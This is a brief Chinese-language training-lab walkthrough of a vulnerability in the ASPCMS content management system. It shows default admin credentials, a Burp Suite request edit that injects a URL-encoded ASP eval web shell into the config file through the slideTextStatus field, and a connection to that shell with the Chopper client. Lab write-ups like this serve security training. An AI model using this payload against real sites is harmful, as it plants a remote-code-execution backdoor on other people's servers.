ASPCMS漏洞之文件上传漏洞

ASPCMS是由上⾕⽹络开发的全新内核的开源企业建站系统，能够胜任企业多种建站需求，并且

⽀持模版⾃定义、⽀持扩展插件等等，能够在短时间内完成 企业建站。

步骤一：访问靶场

访问后台页面——登录后台——填写用户密码，用户名是admin，密码是123456。

后台的地址：/admin_aspcms/login.asp

点击扩展功能——幻灯片设置——点击保存——使用burpsuite抓包

步骤二：抓包修改数据包插入 木马语句。

将抓包后的里面slideTextStatus字段后面改为1%25><%25Eval(Request (chr(65)))%25><%25 ，密码是a。

影响的文件是/config/AspCms_Config.asp

发送到repeter重放器模块，查看修改成功后看到一个地址。

步骤三：使用菜刀连接shell

访问一下地址进行菜刀连接

连接成功